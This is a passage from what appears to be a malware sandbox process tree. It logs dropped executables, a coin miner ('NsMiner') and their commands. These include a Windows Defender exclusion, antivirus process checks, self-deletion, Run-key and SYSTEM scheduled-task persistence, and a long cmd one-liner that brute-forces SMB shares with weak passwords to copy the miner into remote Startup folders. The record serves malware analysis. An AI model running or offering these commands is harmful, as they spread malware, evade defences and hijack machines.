        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3224,i,10438410428506330765,15666561041113464463,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=3264 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2796
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4576,i,10438410428506330765,15666561041113464463,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4612 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4764
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4480,i,10438410428506330765,15666561041113464463,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4812 /prefetch:8
        5⤵
        
        PID:60
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4888,i,10438410428506330765,15666561041113464463,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=5032 /prefetch:8
        5⤵
        
        PID:4392
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\VBVEd6f.exe" & rd /s /q "C:\ProgramData\CAAEBFHJJDAA" & exit
      4⤵
      System Location Discovery: System Language Discovery
      PID:732
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1272
- - C:\Users\Admin\AppData\Local\Temp\a\test12.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test12.exe"
    3⤵
    - Executes dropped EXE
    PID:2680
- - C:\Users\Admin\AppData\Local\Temp\a\test6.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test6.exe"
    3⤵
    - Executes dropped EXE
    PID:3524
- - C:\Users\Admin\AppData\Local\Temp\a\test14.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test14.exe"
    3⤵
    - Executes dropped EXE
    PID:1428
- - C:\Users\Admin\AppData\Local\Temp\a\pantest.exe
    "C:\Users\Admin\AppData\Local\Temp\a\pantest.exe"
    3⤵
    - Executes dropped EXE
    PID:1324
- - C:\Users\Admin\AppData\Local\Temp\a\test9.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test9.exe"
    3⤵
    - Executes dropped EXE
    PID:1416
- - C:\Users\Admin\AppData\Local\Temp\a\test10-29.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test10-29.exe"
    3⤵
    - Executes dropped EXE
    PID:3996
- - C:\Users\Admin\AppData\Local\Temp\a\test19.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test19.exe"
    3⤵
    - Executes dropped EXE
    PID:4056
- - C:\Users\Admin\AppData\Local\Temp\a\test10.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test10.exe"
    3⤵
    - Executes dropped EXE
    PID:5076
- - C:\Users\Admin\AppData\Local\Temp\a\test_again4.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test_again4.exe"
    3⤵
    - Executes dropped EXE
    PID:4088
- - C:\Users\Admin\AppData\Local\Temp\a\test23.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test23.exe"
    3⤵
    - Executes dropped EXE
    PID:4468
- - C:\Users\Admin\AppData\Local\Temp\a\test5.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test5.exe"
    3⤵
    - Executes dropped EXE
    PID:1420
- - C:\Users\Admin\AppData\Local\Temp\a\test11.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test11.exe"
    3⤵
    - Executes dropped EXE
    PID:1424
- - C:\Users\Admin\AppData\Local\Temp\a\test20.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test20.exe"
    3⤵
    - Executes dropped EXE
    PID:4900
- - C:\Users\Admin\AppData\Local\Temp\a\test_again3.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test_again3.exe"
    3⤵
    - Executes dropped EXE
    PID:1796
- - C:\Users\Admin\AppData\Local\Temp\a\test16.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test16.exe"
    3⤵
    - Executes dropped EXE
    PID:4072
- - C:\Users\Admin\AppData\Local\Temp\a\test13.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test13.exe"
    3⤵
    - Executes dropped EXE
    PID:4336
- - C:\Users\Admin\AppData\Local\Temp\a\test_again2.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test_again2.exe"
    3⤵
    - Executes dropped EXE
    PID:232
- - C:\Users\Admin\AppData\Local\Temp\a\test15.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test15.exe"
    3⤵
    - Executes dropped EXE
    PID:3260
- - C:\Users\Admin\AppData\Local\Temp\a\test18.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test18.exe"
    3⤵
    - Executes dropped EXE
    PID:2544
- - C:\Users\Admin\AppData\Local\Temp\a\test21.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test21.exe"
    3⤵
    - Executes dropped EXE
    PID:2784
- - C:\Users\Admin\AppData\Local\Temp\a\test22.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test22.exe"
    3⤵
    - Executes dropped EXE
    PID:3400
- - C:\Users\Admin\AppData\Local\Temp\a\test8.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test8.exe"
    3⤵
    - Executes dropped EXE
    PID:4544
- - C:\Users\Admin\AppData\Local\Temp\a\test7.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test7.exe"
    3⤵
    - Executes dropped EXE
    PID:1256
- - C:\Users\Admin\AppData\Local\Temp\a\test-again.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test-again.exe"
    3⤵
    - Executes dropped EXE
    PID:2720
- - C:\Users\Admin\AppData\Local\Temp\a\test17.exe
    "C:\Users\Admin\AppData\Local\Temp\a\test17.exe"
    3⤵
    - Executes dropped EXE
    PID:2740
- - C:\Users\Admin\AppData\Local\Temp\a\vg9qcBa.exe
    "C:\Users\Admin\AppData\Local\Temp\a\vg9qcBa.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:2112
  - - C:\Users\Admin\AppData\Local\Temp\a\vg9qcBa.exe
      "C:\Users\Admin\AppData\Local\Temp\a\vg9qcBa.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4116
- - C:\Users\Admin\AppData\Local\Temp\a\win.exe
    "C:\Users\Admin\AppData\Local\Temp\a\win.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:3676
  - - C:\Windows\SysWOW64\route.exe
      route print
      4⤵
      System Location Discovery: System Language Discovery
      PID:1192
  - - C:\Windows\SysWOW64\arp.exe
      arp -a 10.127.0.1
      4⤵
      Network Service Discovery
      System Location Discovery: System Language Discovery
      PID:4784
- - C:\Users\Admin\AppData\Local\Temp\a\cbchr.exe
    "C:\Users\Admin\AppData\Local\Temp\a\cbchr.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    PID:4392
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2632
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:3320
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 1184
      4⤵
      Program crash
      PID:2256
- - C:\Users\Admin\AppData\Local\Temp\a\FaceBuild.exe
    "C:\Users\Admin\AppData\Local\Temp\a\FaceBuild.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:772
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4780
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic os get Caption,Version
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5080
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic os get InstallDate
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4680
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -command [CultureInfo]::InstalledUICulture.Name
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1064
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic cpu get Name,NumberOfCores,NumberOfLogicalProcessors,Manufacturer
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1708
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic memorychip get Capacity
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2184
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic path win32_videocontroller get Name
      4⤵
      System Location Discovery: System Language Discovery
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:1888
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic csproduct get UUID
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2556
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic csproduct get UUID
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:936
- - C:\Users\Admin\AppData\Local\Temp\a\InstaIIer.exe
    "C:\Users\Admin\AppData\Local\Temp\a\InstaIIer.exe"
    3⤵
    - Executes dropped EXE
    PID:2700
- - C:\Users\Admin\AppData\Local\Temp\a\TikTokDesktop18.exe
    "C:\Users\Admin\AppData\Local\Temp\a\TikTokDesktop18.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:4560
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4200
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4968
- - C:\Users\Admin\AppData\Local\Temp\a\TikTok18.exe
    "C:\Users\Admin\AppData\Local\Temp\a\TikTok18.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:2292
- - C:\Users\Admin\AppData\Local\Temp\a\x4lburt.exe
    "C:\Users\Admin\AppData\Local\Temp\a\x4lburt.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:4448
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\computerlead.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\computerlead.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:188
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        System Location Discovery: System Language Discovery
        
        PID:3568
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3568 -s 404
        6⤵
        Program crash
        
        PID:4296
- - C:\Users\Admin\AppData\Local\Temp\a\installer.exe
    "C:\Users\Admin\AppData\Local\Temp\a\installer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:3964
  - - C:\Windows\SysWOW64\dxdiag.exe
      "C:\Windows\SysWOW64\dxdiag.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3664
- - C:\Users\Admin\AppData\Local\Temp\a\9758xBqgE1azKnB.exe
    "C:\Users\Admin\AppData\Local\Temp\a\9758xBqgE1azKnB.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:928
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\grjujyNaBLaKbU.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:1064
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\grjujyNaBLaKbU" /XML "C:\Users\Admin\AppData\Local\Temp\tmpAEA6.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1692
  - - C:\Users\Admin\AppData\Local\Temp\a\9758xBqgE1azKnB.exe
      "C:\Users\Admin\AppData\Local\Temp\a\9758xBqgE1azKnB.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:700
- - C:\Users\Admin\AppData\Local\Temp\a\7mpPLxE.exe
    "C:\Users\Admin\AppData\Local\Temp\a\7mpPLxE.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:2068
  - - C:\Users\Admin\AppData\Local\Temp\a\7mpPLxE.exe
      "C:\Users\Admin\AppData\Local\Temp\a\7mpPLxE.exe"
      4⤵
      Executes dropped EXE
      PID:3604
  - - C:\Users\Admin\AppData\Local\Temp\a\7mpPLxE.exe
      "C:\Users\Admin\AppData\Local\Temp\a\7mpPLxE.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1492
- - C:\Users\Admin\AppData\Local\Temp\a\0fVlNye.exe
    "C:\Users\Admin\AppData\Local\Temp\a\0fVlNye.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:1968
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd
      4⤵
      System Location Discovery: System Language Discovery
      PID:216
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:4896
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        5⤵
        
        PID:4308
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:656
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
        5⤵
        
        PID:1060
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 29442
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5000
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Wendy + ..\Psychiatry + ..\Rid + ..\Games + ..\Norway + ..\Matching + ..\Jungle + ..\Elliott + ..\Jpg + ..\Americans + ..\Exhibits + ..\Peeing + ..\Typical + ..\Innocent + ..\Seafood + ..\Nervous + ..\Households + ..\Ai + ..\Hotel + ..\Holdem + ..\Drums + ..\Carlo + ..\Tm + ..\Landscape + ..\Resolutions + ..\Def + ..\Lambda + ..\Biodiversity + ..\Odds + ..\Smithsonian + ..\Blvd + ..\Actual + ..\Guy + ..\Expert + ..\Delaware + ..\Eagle + ..\Eugene + ..\Exempt + ..\Same + ..\Ebooks + ..\Individuals + ..\Sucking + ..\Chan + ..\Turns + ..\Satin + ..\Dealing + ..\Result + ..\Through + ..\Realized l
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:60
    - - C:\Users\Admin\AppData\Local\Temp\29442\Reynolds.com
        
        Reynolds.com l
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1908
      - C:\Users\Admin\AppData\Local\Temp\29442\Reynolds.com
        
        C:\Users\Admin\AppData\Local\Temp\29442\Reynolds.com
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4572
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        Suspicious use of FindShellTrayWindow
        
        PID:3604
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:2916
    - - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2964
- - C:\Users\Admin\AppData\Local\Temp\a\IMG001.exe
    "C:\Users\Admin\AppData\Local\Temp\a\IMG001.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:444
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:5036
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im tftp.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:2256
  - - C:\Users\Admin\AppData\Local\Temp\tftp.exe
      "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3648
  - - C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
      "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Enumerates connected drives
      PID:4916
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3968
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im tftp.exe
        6⤵
        Kills process with taskkill
        
        PID:4964
    - - C:\Users\Admin\AppData\Local\Temp\tftp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tftp.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:864
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
        5⤵
        
        PID:1584
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:1052
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2300
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1696
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3288
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        6⤵
        Drops file in Windows directory
        Scheduled Task/Job: Scheduled Task
        
        PID:1992
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
        5⤵
        Power Settings
        System Location Discovery: System Language Discovery
        
        PID:2484
      - C:\Windows\SysWOW64\powercfg.exe
        
        powercfg /CHANGE -standby-timeout-ac 0
        6⤵
        Power Settings
        
        PID:668
      - C:\Windows\SysWOW64\powercfg.exe
        
        powercfg /CHANGE -hibernate-timeout-ac 0
        6⤵
        Power Settings
        
        PID:2360
      - C:\Windows\SysWOW64\powercfg.exe
        
        Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
        6⤵
        Power Settings
        
        PID:3748
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1509& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))
        5⤵
        Indicator Removal: Network Share Connection Removal
        
        PID:5956
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"
        6⤵
        Network Service Discovery
        
        PID:5512
        
        C:\Windows\SysWOW64\net.exe
        
        net view
        7⤵
        Discovers systems in the same network
        
        PID:6672
        
        C:\Windows\SysWOW64\find.exe
        
        find /i "\\"
        7⤵
        
        PID:1312
        
        C:\Windows\SysWOW64\ARP.EXE
        
        arp -a
        7⤵
        Network Service Discovery
        
        PID:2664
        
        C:\Windows\SysWOW64\find.exe
        
        find /i " 1"
        7⤵
        
        PID:4456
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c set str_
        6⤵
        
        PID:2672
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c net view \\10.127.255.255|find /i " "
        6⤵
        
        PID:1116
        
        C:\Windows\SysWOW64\net.exe
        
        net view \\10.127.255.255
        7⤵
        Discovers systems in the same network
        
        PID:2848
        
        C:\Windows\SysWOW64\find.exe
        
        find /i " "
        7⤵
        
        PID:6400
      - C:\Windows\SysWOW64\net.exe
        
        net use * /delete /y
        6⤵
        Indicator Removal: Network Share Connection Removal
        
        PID:2160
      - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 3 localhost
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4548
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:6464
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:3936
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:5784
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:4224
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:1052
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:2992
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:2600
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:5144
        
        C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        7⤵
        
        PID:1680
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo f"
        6⤵
        
        PID:5496
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
        6⤵
        
        PID:5616
        
        C:\Windows\SysWOW64\xcopy.exe
        
